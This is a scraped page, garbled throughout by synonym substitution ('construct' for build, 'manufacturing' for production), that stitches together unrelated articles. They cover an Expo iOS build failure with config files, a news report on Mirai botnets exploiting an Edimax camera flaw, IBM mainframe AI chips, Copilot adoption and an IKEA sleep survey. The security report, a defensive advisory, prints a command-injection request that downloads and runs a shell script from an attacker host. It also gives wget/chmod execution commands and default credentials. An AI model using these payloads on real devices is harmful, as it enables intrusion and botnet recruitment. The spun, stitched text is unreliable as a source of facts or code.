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javascript – Eas Manufacturing construct fails, improvement construct works positive


I am growing an app for iOS utilizing Expo, React Native, Firebase, and JavaScript.
Whereas the event construct works flawlessly (npx eas-cli construct –profile improvement –platform ios ), I encounter an issue when making a manufacturing construct for TestFlight or the App Retailer. (npx eas-cli construct –platform ios –profile manufacturing)
The constructing course of fails each time on “run fastlane”.

BUT: If I simply construct for manufacturing with my app being solely a clean web page saying “howdy world”, the construct is profitable and that i can push the remainder of my app (src folder) to testflight with npx eas replace 🙂

There aren’t any errors within the XCode logs, solely warnings
Fastlane fails on the very same line each time

Surroundings:
Expo, React Native, Firebase, JavaScript, Ios

Request for Assist
I am in search of recommendation or any options on the way to resolve this subject. Any insights or steerage can be enormously appreciated.

Be at liberty to ask for extra particulars if wanted.

Bundle.json:

{
  "title": "device",
  "model": "1.0.0",
  "essential": "node_modules/expo/AppEntry.js",
  "scripts": {
    "begin": "expo begin",
    "android": "expo begin --android",
    "ios": "expo begin --ios",
    "internet": "expo begin --web"
  },
  "dependencies": {
    "@babel/preset-env": "^7.26.9",
    "@babel/runtime": "^7.26.9",
    "@expo/config-plugins": "^9.0.16",
    "@expo/prebuild-config": "^8.0.28",
    "@react-native-async-storage/async-storage": "1.23.1",
    "@react-native-community/datetimepicker": "8.2.0",
    "@react-native-community/slider": "4.5.5",
    "@react-native-firebase/analytics": "^21.12.0",
    "@react-native-firebase/app": "^21.12.0",
    "@react-native-firebase/auth": "^21.12.0",
    "@react-native-firebase/firestore": "^21.12.0",
    "@react-native-firebase/messaging": "^21.12.0",
    "@react-navigation/bottom-tabs": "^7.2.1",
    "@react-navigation/native": "^7.0.15",
    "@react-navigation/stack": "^7.1.2",
    "axios": "^1.8.1",
    "d3-scale": "^4.0.2",
    "date-fns": "^4.1.0",
    "depcheck": "^1.4.7",
    "expo": "~52.0.38",
    "expo-application": "~6.0.2",
    "expo-asset": "~11.0.4",
    "expo-auth-session": "~6.0.3",
    "expo-av": "~15.0.2",
    "expo-build-properties": "~0.13.2",
    "expo-constants": "~17.0.8",
    "expo-dev-client": "~5.0.13",
    "expo-device": "~7.0.2",
    "expo-haptics": "~14.0.1",
    "expo-notifications": "~0.29.14",
    "expo-status-bar": "~2.0.1",
    "expo-store-review": "~8.0.1",
    "expo-updates": "~0.27.3",
    "expo-web-browser": "~14.0.2",
    "firebase": "^11.4.0",
    "second": "^2.30.1",
    "prop-types": "^15.8.1",
    "react": "18.3.1",
    "react-native": "0.76.7",
    "react-native-bouncy-checkbox": "^4.1.2",
    "react-native-calendars": "^1.1310.0",
    "react-native-chart-kit": "^6.12.0",
    "react-native-confetti-cannon": "^1.5.2",
    "react-native-dotenv": "^3.4.11",
    "react-native-draggable-flatlist": "^4.0.1",
    "react-native-elements": "^3.4.3",
    "react-native-gesture-handler": "~2.20.2",
    "react-native-paper": "^5.13.1",
    "react-native-purchases": "^8.8.0",
    "react-native-reanimated": "~3.16.1",
    "react-native-safe-area-context": "4.12.0",
    "react-native-screens": "~4.4.0",
    "react-native-svg": "15.8.0",
    "react-native-vector-icons": "^10.2.0",
    "typescript": "^5.8.2"
  },
  "devDependencies": {
    "@babel/core": "^7.24.0",
    "dotenv": "^16.4.7"
  },
  "resolutions": {
    "string-width": "4.2.3",
    "wrap-ansi": "7.0.0"
  },
  "personal": true
}

eas.json:

{
  "cli": {
    "model": ">= 15.0.14",
    "appVersionSource": "distant"
  },
  "construct": {
    "improvement": {
      "developmentClient": true,
      "distribution": "inside",
      "channel": "improvement",
      "ios": {
        "resourceClass": "medium"
      },
      "atmosphere": "improvement"
    },
    "preview": {
      "distribution": "inside",
      "channel": "preview",
      "ios": {
        "resourceClass": "medium"
      },
      "atmosphere": "preview"
    },
    "manufacturing": {
      "channel": "manufacturing",
      "distribution": "retailer",
      "autoIncrement": true,
      "ios": {
        "resourceClass": "giant",
        "cocoapods": "1.16.2",
        "buildConfiguration": "Launch",
        "picture": "newest"
      },
      "android": {
        "buildType": "app-bundle"
      },
      "atmosphere": "manufacturing"
    }
  },
  "submit": {
    "manufacturing": {
      "ios": {
        "appleId": "xx",
        "ascAppId": "xx",
        "appleTeamId": "xx"
      }
    }
  }
}

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What I’ve Tried:

  • Checked all certificates and provisioning profiles
  • checked documentation
  • tried a number of stuff for 50+ hours,
  • tried constructing with ressourceclass giant
  • Eliminated push notifications

Edimax Digicam RCE Vulnerability Exploited to Unfold Mirai Malware

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A latest alert from the Akamai Safety Intelligence and Response Group (SIRT) has highlighted the exploitation of a extreme command injection vulnerability in Edimax Web of Issues (IoT) gadgets.

This vulnerability, designated as CVE-2025-1316, has been actively utilized by a number of botnets to unfold Mirai malware.

Mirai is infamous for compromising IoT gadgets and orchestrating distributed denial-of-service (DDoS) assaults.

Vulnerability Overview

The CVE-2025-1316 vulnerability targets the /camera-cgi/admin/param.cgi endpoint in Edimax gadgets, permitting attackers to inject instructions into the NTP_serverName choice throughout the ipcamSource parameter.

For profitable exploitation, default credentials reminiscent of admin:1234 are used. Though the CVE particularly mentions Edimax’s IC-7100 community digicam, the vulnerability possible impacts a broader vary of Edimax gadgets.

Akamai SIRT first detected exercise concentrating on this vulnerability of their honeypots in early October 2024.

Mirai malware sample main functionMirai malware sample main function
Mirai malware pattern major perform

Nevertheless, the proof of idea (PoC) exploit dates again to June 2023. The earliest exploit makes an attempt noticed had been in Could 2024, with spikes in September 2024 and January-February 2025.

These assaults had been attributed to totally different botnets, together with Mirai variants.

Instance Exploit Code

The exploit injects instructions to execute a shell script on the machine. Right here’s an instance of the request payload:

/camera-cgi/admin/param.cgi motion=replace&ipcamSource=/ntp.asp?r=20130724&NTP_enable=1&NTP_serverName=;$(cd /tmp; wget http://193.143.1[.]118/curl.sh; chmod 777 curl.sh; sh curl.sh)&NTP_tzCityNo=16&NTP_tzMinute=0&NTP_daylightSaving=0

This script downloads and executes a Mirai malware variant for various architectures, reminiscent of ARM, MIPS, and x86.

Malware Execution Instructions

As soon as downloaded, the malware is executed by means of instructions like:

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;

wget http://193.143.1[.]118/x86;

curl -O http://193.143.1[.]118/x86;

cat x86 > OSGt;

chmod +x *;

./OSGt joined;

rm -rf OSGt

Related instructions are used for different architectures like MIPS and ARM.

Mirai Botnets

Two distinct botnets have been recognized exploiting this vulnerability:

  1. First Botnet: This botnet makes use of the exploit to obtain and execute a curl.sh script. It communicates with the command and management (C2) server by way of angela.spklove[.]com over port 3093. The malware prints “VagneRHere” upon execution.
  2. Second Botnet: This botnet downloads and runs a wget.sh script, which executes Mirai malware. The malware contains antidebugging capabilities and prints “Hey, World!” upon execution.

Each botnets exploit a number of identified vulnerabilities, together with a Docker API exploit and CVE-2024-7214 affecting TOTOLINK gadgets.

Mitigation and Suggestions

To guard towards these threats:

  • Improve Gadgets: Substitute outdated or susceptible gadgets with newer fashions.
  • Change Default Credentials: Guarantee all gadgets use sturdy, distinctive passwords.
  • Monitor Networks: Look ahead to suspicious exercise, reminiscent of uncommon site visitors patterns.
  • Implement Safety Measures: Use firewalls and intrusion detection methods to dam exploit makes an attempt.

Because the legacy of Mirai malware continues to impression IoT safety, staying knowledgeable and proactive is essential for safeguarding these gadgets.

The continuing exploitation of Edimax IoT gadgets highlights the persistent dangers related to legacy firmware and the pervasive risk of Mirai malware.

Common monitoring and proactive safety methods are important in defending towards evolving cyber threats.

Are you from SOC/DFIR Groups? – Analyse Malware Incidents & get stay Entry with ANY.RUN -> Begin Now for Free. 

IBM laying basis for mainframe as final AI server



“It is going to actually change what prospects are capable of do with AI,” Stowell stated.

IBM’s mainframe processors

The subsequent era of processors is predicted to proceed an extended historical past of generation-to-generation enhancements, IBM acknowledged in a brand new white paper on AI and the mainframe.

“They’re projected to clock in at 5.5 GHz. and embody ten 36 MB stage 2 caches. They’ll function built-in low-latency information processing for accelerated I/O in addition to a very redesigned cache and chip-interconnection infrastructure for extra on-chip cache and compute capability,” IBM wrote. 

Immediately’s mainframes even have extensions and accelerators that combine with the core programs. These specialised add-ons are designed to allow the adoption of applied sciences resembling Java, cloud and AI by accelerating computing paradigms which can be important for high-volume, low-latency transaction processing, IBM wrote. 

“The subsequent crop of AI accelerators are anticipated to be considerably enhanced—with every accelerator designed to ship 4 occasions extra compute energy, reaching 24 trillion operations per second (TOPS),” IBM wrote. “The I/O and cache enhancements will allow even quicker processing and evaluation of enormous quantities of knowledge and consolidation of workloads operating throughout a number of servers, for financial savings in information heart area and energy prices. And the brand new accelerators will present elevated capability to allow extra transaction clock time to carry out enhanced in-transaction AI inferencing.”

As well as, the subsequent era of the accelerator structure is predicted to be extra environment friendly for AI duties. “In contrast to commonplace CPUs, the chip structure may have an easier structure, designed to ship information instantly from one compute engine, and use a spread of lower- precision numeric codecs. These enhancements are anticipated to make operating AI fashions extra vitality environment friendly and much much less reminiscence intensive. In consequence, mainframe customers can leverage rather more advanced AI fashions and carry out AI inferencing at a larger scale than is feasible right this moment,” IBM acknowledged.

Notice Worth from a GenAI-Enabled Workforce

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Due to OpenAI’s ChatGPT, just about everybody is aware of about GenAI at this time. Its skill to fulfill folks’s thirst for data with only a easy immediate despatched it viral. This device’s utilization is really spectacular. It gained one million customers in simply 5 days and attracted greater than 100 million guests in its first few months. People and organizations are integrating it into their day by day lives and actions with nice enthusiasm.

And but – whereas GenAI is globally well-known, few have moved far past experimentation. Organizations are excited by its potential however typically battle to undertake it at a scale that may finally create measurable worth.

In my function, I’ve been lucky sufficient to have the ability to witness how AI is evolving the best way organizations function and the worth it could ship to clients. But, companies want a information to show potential into efficiency. With these challenges in thoughts, my crew applied a roll out experimentation with Microsoft’s 350 Copilot, to develop priceless insights and sensible methods for corporations aiming to attain profitable adoption and significant ROI.

Our path to GenAI worth

As we seemed into adopting Copilot, our method helped us determine the place its capabilities might add worth.

Our expertise may very well be useful for any group trying to introduce GenAI into its workflows.

Listed below are among the actions that helped us alongside the best way:

  • Begin with a structured adoption framework. For introducing GenAI capabilities, we started by figuring out personas in our group who may profit from them, after which particular and extremely focused use instances for the expertise. Lastly, we’ve created customized coaching plans for every function or persona that information customers rigorously, so that they know precisely the way to benefit from the aptitude.
  • Use experimentation to validate the expertise. For Copilot, we ran an train with three teams of customers. Group A had no Copilot licenses, whereas for Group B, we merely gave these customers entry to the device, with no coaching or steerage: it was as much as them to work out what to do. Group C received our full adoption framework. The outcomes? We noticed a 31% increase in adoption in Group C in comparison with Group B. Furthermore, Group C registered time financial savings of two.5 hours per week versus 1.8 hours per week for Group B. The train additionally gave us baseline information, for instance on how a lot time groups might save on particular duties corresponding to creating shows. This was one other robust instance and argument confirming that our adoption framework was working.
  • Contain workers carefully within the course of. Workout routines like our Copilot experiment assist be sure that folks interact extra readily with new expertise. We received folks carefully concerned in choosing the use instances for Copilot, which makes it extra relatable, driving adoption and finally enhancing ROI. This course of creates evangelists, too. As a result of our Group C cohort might clearly see the expertise’s worth for them, they championed it throughout the corporate and particularly with their groups, encouraging additional adoption.
  • Create hyper-personalized and steady coaching plans. We labored with undertaking managers and course of house owners to make it possible for the Copilot use instances had been related to their on a regular basis duties, corresponding to producing shows at very quick discover. Armed with this understanding, we created extremely tailor-made coaching that confirmed how expertise might assist them attain their objectives. Additionally, we discovered that steady coaching round creating prompts was very priceless in serving to folks get the most effective worth out of GenAI. It is usually enjoyable and helps hold the group united. For instance, we’ve created a bunch by which we’re sharing helpful prompts, and we even have common quick sharing classes.
  • Leveraging companions. We tapped our accomplice to assist us by coming in with particular use instances and coaching presents that helped construct our skillsets. In a website that adjustments as quick as GenAI, partnership and collaboration are important to getting good outcomes.
  • Talk proactively about workers’ issues. Questions on moral AI and whether or not it’ll steal folks’s jobs are widespread. It’s subsequently necessary to make sure that the adoption framework clearly defines moral AI and the moral use of AI. To make sure accountable and safe use of AI, we leveraged our Accountable AI framework. This framework gives clear pointers for our workers, aligning with our firm values and serving to them use AI responsibly. And to allay issues about GenAI’s impression on jobs, we centered on its skill to take over unpopular mundane and time-pressured duties corresponding to minute-taking, drafting communications, or sifting by means of a crowded electronic mail inbox. As their proficiency grew, we launched extra refined methods, together with enhancing their skill to create superior prompts that yield extra exact and tailor-made outputs.

Time, innovation and coaching

Our expertise with Copilot and different GenAI initiatives is {that a} structured pilot part is vital, and that individuals want time to be taught the progressive expertise. It is usually essential to have a framework for AI adoption and alter administration that’s tailor-made to your crew’s particular wants. Coupled with coaching and energetic engagement of customers, this may encourage and clear up issues about GenAI.

As soon as the expertise embeds itself within the group and spreads out, it turns into a part of the tradition and accelerates your path to realizing actual worth from GenAI.

The sleep hole: How social inequality impacts good relaxation


Everyone knows an evening of fine relaxation could be the distinction between being able to face the day or struggling to focus and counting down the hours till you may get again below the covers. However new analysis exhibits a stark inequality in good sleep for extra susceptible teams.

Utilizing a spread of 0 to 100 based mostly on 5 key components, Trellis knowledge associate GlobeScan requested greater than 55,000 customers how properly they slept for the IKEA Sleep Uncovered report. The survey requested respondents to fee their:

  • Sleep high quality (general)
  • Sleep time (common variety of hours)
  • Drift-off time (how lengthy it takes to go to sleep)
  • Sleep movement (how typically you get up)
  • Wake-up state (how typically you get up feeling drained)

Outcomes present financially insecure people, the LGBTQ+ group, folks with disabilities and girls with younger youngsters all rating beneath the worldwide common sleep rating of 63. Ladies, basically, constantly scored decrease than males (60 vs. 65), with one in three ladies ranking their sleep as poor. The analysis confirmed monetary stability, bed room sharing and stress are key determinants of sleep high quality.

What this implies

Sleep, a fundamental human want, has turn out to be a privilege reasonably than a given. These findings reveal how deeply inequalities — whether or not monetary, gender-based or social — permeate all facets of life, even shaping one thing as basic as relaxation. Poor sleep is each a symptom and a driver of inequality, affecting bodily and psychological well being, productiveness and general well-being. The implications lengthen far past the bed room: When susceptible teams are disadvantaged of high quality sleep, it exacerbates financial hardship, widens well being disparities and reinforces cycles of drawback. 

Based mostly on the IKEA Sleep Uncovered report, which surveyed 55,221 adults throughout 57 markets between August and September.